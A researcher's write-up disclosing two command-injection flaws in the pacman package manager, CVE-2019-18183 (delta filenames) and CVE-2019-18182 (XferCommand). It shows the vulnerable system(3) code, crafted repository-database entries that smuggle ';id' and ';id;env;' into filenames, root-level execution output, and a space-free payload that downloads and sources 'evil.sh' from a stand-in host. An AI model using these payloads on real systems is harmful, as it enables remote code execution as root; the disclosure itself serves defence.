Pacman: CVE-2019-18182 & CVE-2019-18183

On Friday, 01 Mar 2019 someone linked a security flaw in pacman in an IRC channel related to linux distribution security. The bug is now known as ASA-201903-7 or CVE-2019-9686.

Until then there were only two other security issues found that recieved a CVE, this motivated me to take a look at pacman to see if I could find more issues.

I cloned the repository and decided to start by looking at the repository synchronization code, from working with the XBPS package manager I knew this would be a good start as it is the first thing a package manager receives from the repository server. Pacman does support optionally signed repository “databases” is not used by the archlinux repository or any mirror.

The following sections describe the two issues I’ve found and reported that were subsequently fixed in version 5.2.0 of pacman and published as AVG-1049.

CVE-2019-18183: Deltas

The file I looked at first was lib/libalpm/sync.c, after a bit of reading I noticed a suspicious system(3) function call.

if(endswith(to, ".gz")) {
    /* special handling for gzip : we disable timestamp with -n option */
    snprintf(command, PATH_MAX, "xdelta3 -d -q -R -c -s %s %s | gzip -n > %s", from, delta, to);
} else {
    snprintf(command, PATH_MAX, "xdelta3 -d -q -s %s %s %s", from, delta, to);
}

︙

int retval = system(command);

The system(3) function is always something that is easy to get wrong, it executes the command using the shell: /bin/sh -c '$command'.

There was no validation of any of the input strings from, delta and to.

At this point I was already confident that it is an security issue.

I searched a bit around and looked at the function that parses the repository database, sync_db_read in lib/libalpm/be_sync.c.

The pacman database is tar archive with directories for each packages containing a few files, desc for basic package informations, deltas and a few other less interesting ones. The files use a line based text format, a line with a token like %NAME% indicates that the following line is the package name.

The lines following the %DELTAS% token are parsed by the _alpm_delta_parse function using the following regular expression:

/* $deltafile $deltamd5 $deltasize $oldfile $newfile*/
regcomp(&handle->delta_regex,
        "^([^[:space:]]+) ([[:xdigit:]]{32}) ([[:digit:]]+)"
        " ([^[:space:]]+) ([^[:space:]]+)$",
        REG_EXTENDED | REG_NEWLINE);
}

deltafile is the filename of the delta/patch file on the repository server (it contains the difference between oldfile and newfile). oldfile is the package archive from which the user updates and newfile is the resulting package.

deltafile, oldfile and newfile map to delta, from and to in the command which is executed using system(3).

There is no restriction on what those values contain only that each field can’t contain spaces as it is used as separator.

I continued by setting up a archlinux chroot and pointed the repository to my local server.

I extracted the first package directory out of the arch repository. At the time the package was acl-2.2.53-1.

I renamed the directory to acl-2.2.53-2 and added a deltas file into the directory with the following content:

%DELTAS%
acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id d41d8cd98f00b204e9800998ecf8427e 100 acl-2.2.53-1-x86_64.pkg.tar.xz acl-2.2.53-2-x86_64.pkg.tar.xz

Then I packaged and gzipped the directory using pax -wv acl-2.2.53-2 | gzip >core.db, switched to the archlinux chroot and synced the repository using pacman --debug -Syu.

And nothing, it didn’t use the advertised delta from my repository. I looked a bit and then noticed that deltas are not enabled by default. I uncommented the #UseDelta = 0.7 line and tried again.

This time it worked:

debug: checkdeps: package acl-2.2.53-2
debug: started delta shortest-path search for 'acl-2.2.53-2-x86_64.pkg.tar.xz'
debug: found cached pkg: /var/cache/pacman/pkg/acl-2.2.53-1-x86_64.pkg.tar.xz
debug: delta shortest-path search complete : '100'
debug: using delta size
debug: setting download size 100 for pkg acl
︙

Packages (1) acl-2.2.53-2

Total Download Size:   0.00 MiB
Total Installed Size:  0.30 MiB
Net Upgrade Size:      0.00 MiB

:: Proceed with installation? [Y/n]
︙
:: Retrieving packages...
debug: url: https://xn--1xa.duncano.de/files/pacman/acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id
debug: maxsize: 100
debug: opened tempfile for download: /var/cache/pacman/pkg/acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id.part (wb)
debug: curl returned error 0 from transfer
debug: response code: 200
checking delta integrity...
debug: found cached pkg: /var/cache/pacman/pkg/acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id
debug: using cachedir: /var/cache/pacman/pkg/
applying deltas...
debug: found cached pkg: /var/cache/pacman/pkg/acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id
debug: found cached pkg: /var/cache/pacman/pkg/acl-2.2.53-1-x86_64.pkg.tar.xz
debug: command: xdelta3 -d -q -s /var/cache/pacman/pkg/acl-2.2.53-1-x86_64.pkg.tar.xz /var/cache/pacman/pkg/acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id /var/cache/pacman/pkg//acl-2.2.53-2-x86_64.pkg.tar.xz
generating acl-2.2.53-2-x86_64.pkg.tar.xz with acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id... id: '/var/cache/pacman/pkg//acl-2.2.53-2-x86_64.pkg.tar.xz': no such user
failed.
error: failed to commit transaction (delta patch failed)
Errors occurred, no packages were upgraded.

I used extrace outside of the chroot to see if the command I added to delta gets executed. And as expected it did execute id:

31651 pacman --debug -Syu
  31655 sh -c 'xdelta3 -d -q -s /var/cache/pacman/pkg/acl-2.2.53-1-x86_64.pkg.tar.xz /var/cache/pacman/pkg/acl-2.2.53-1_to_2.2.53-2-x86_64.delta;id /var/cache/pacman/pkg//acl-2.2.53-2-x86_64.pkg.tar.xz'
    31656 xdelta3 -d -q -s /var/cache/pacman/pkg/acl-2.2.53-1-x86_64.pkg.tar.xz /var/cache/pacman/pkg/acl-2.2.53-1_to_2.2.53-2-x86_64.delta
    31657 id /var/cache/pacman/pkg//acl-2.2.53-2-x86_64.pkg.tar.xz

You can see the stderr output of id(1) in the pacman log too:

id: '/var/cache/pacman/pkg//acl-2.2.53-2-x86_64.pkg.tar.xz': no such user

I continued to play a bit with it and the restriction that the command can’t contains spaces is easy to work around,

foo=wget;foo+=$'\n';foo+='https://example.com/evil.sh;source';foo+=$'\n';foo+='evil.sh';$foo

There are probably many different ways to achieve the same.

As a result the pacman developers decided to completely remove support for delta updates from the package manager as it has been a feature that is not used by many users and only a small number of mirrors provided deltas to their users.

CVE-2019-18182: XferCommand

After finding the first issue, I used grep to see if there are other cases where system(3) can be exploited.

$ grep -R "system(" lib src
lib/libalpm/sync.c:                     int retval = system(command);
src/pacman/conf.c:      retval = system(parsedcmd);

The second use of system(2) happens in the following function:

/** External fetch callback */
static int download_with_xfercommand(const char *url, const char *localpath,
        int force)

This function is used as fetch callback, if the XferCommand configuration option is set. What the function does is, get the filename from the url argument, create a temporary file, replace %o and %u in the config->xfercommand string with a temporary .part file and the url argument respectively. There is no extra validation of the url argument and the constructed command is executed with system(3).

From the previous issue while looking at the repository databases, I already knew that the filename is stored inside of the unsigned repository database.

This time I modified the acl-2.2.53-2/desc file from the repository database and changed the %FILENAME% field to include some shell:

%FILENAME%
acl-2.2.53-2-x86_64.pkg.tar.xz;id;env;

I then uncommented the example XferCommand in /etc/pacman.conf:

#XferCommand = /usr/bin/curl -L -C - -f -o %o %u

After repackaging the repository database I executed pacman again to do a system update:

[root@tux /]# pacman --debug -Syu
debug: pacman v5.1.3 - libalpm v11.0.3
︙
debug: config: xfercommand: /usr/bin/curl -L -C - -f -o %o %u
︙
debug: adding new server URL to database 'core': http://localhost:8080
:: Synchronizing package databases...
debug: running command: /usr/bin/curl -L -C - -f -o /var/lib/pacman/sync/core.db.part http://localhost:8080/core.db
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1015  100  1015    0     0   991k      0 --:--:-- --:--:-- --:--:--  991k
debug: running command: /usr/bin/curl -L -C - -f -o /var/lib/pacman/sync/core.db.sig.part http://localhost:8080/core.db.sig
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (22) The requested URL returned error: 404 Not Found
debug: XferCommand command returned non-zero status code (5632)
debug: "/var/lib/pacman/sync/core.db.sig" is not readable: No such file or directory
debug: sig path /var/lib/pacman/sync/core.db.sig could not be opened
debug: missing optional signature
:: Starting full system upgrade...
debug: checking for package upgrades
︙

Packages (1) acl-2.2.53-2

Total Download Size:   0.13 MiB
Total Installed Size:  0.30 MiB
Net Upgrade Size:      0.00 MiB

:: Proceed with installation? [Y/n] y
︙
:: Retrieving packages...
debug: running command: /usr/bin/curl -L -C - -f -o /var/cache/pacman/pkg/acl-2.2.53-2-x86_64.pkg.tar.xz;id;env;.part http://localhost:8080/acl-2.2.53-2-x86_64.pkg.tar.xz;id;env;
curl: no URL specified!
curl: try 'curl --help' for more information
uid=0(root) gid=0(root) groups=0(root)
PWD=/var/cache/pacman/pkg
container=contain
LANG=C
HTTP_USER_AGENT=pacman/5.1.3 (Linux x86_64) libalpm/11.0.3
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
_=/usr/bin/env
sh: .part: command not found
uid=0(root) gid=0(root) groups=0(root)
PWD=/var/cache/pacman/pkg
container=contain
LANG=C
HTTP_USER_AGENT=pacman/5.1.3 (Linux x86_64) libalpm/11.0.3
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
_=/usr/bin/env
error: could not rename /var/cache/pacman/pkg/acl-2.2.53-2-x86_64.pkg.tar.xz;id;env;.part to /var/cache/pacman/pkg/acl-2.2.53-2-x86_64.pkg.tar.xz;id;env; (No such file or directory)
debug: returning error 54 from _alpm_download : error invoking external downloader
warning: failed to retrieve some files
error: failed to commit transaction (error invoking external downloader)
Errors occurred, no packages were upgraded.
︙

And as you can see, the id and env commands I added to the repository database where executed twice while downloading the acl package.

Conclusion

Both issues are not exploitable by default and require the user to enable either deltas or a XferCommand.

Both bugs could have been exploited by mirrors without the majority of users that don’t use either deltas or a download command ever noticing.

A mirror could always provide malicious delta filenames, it wouldn’t interference users without deltas enabled.

The other issue would require a mirror to provide different repository databases for users with a non standard useragent, to not break downloads for users who are not exploitable.

In the end, system(3) is dangerous with unverified input and escaping and/or cleaning the input is complicated and probably not worth it. Instead if you don’t need to execute commands through a shell, fork(2) and the execve(2) or posix_spawn(3) are a better choice.